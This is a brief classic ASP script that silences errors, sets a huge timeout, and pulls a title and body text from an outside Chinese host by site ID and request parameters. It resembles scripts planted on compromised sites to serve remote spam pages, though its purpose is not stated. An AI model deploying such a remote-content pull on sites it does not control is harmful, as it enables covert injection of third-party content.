%
On Error Resume Next
Server.ScriptTimeOut=9999999
dim title,context,s
siteid="284"
weburl="http://21315315.cn/out.asp?s="&siteid
if request("c")<>"" then
c=cint(request("c"))
else
c=0
end if
weburl=weburl&"&c="&c
if request("t")<>"" then
weburl=weburl&"&t="&cint(request("t"))
end if
s=getHTTPPage(weburl)
title=split(s,"|split|")(1)
context=split(s,"|split|")(0)
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>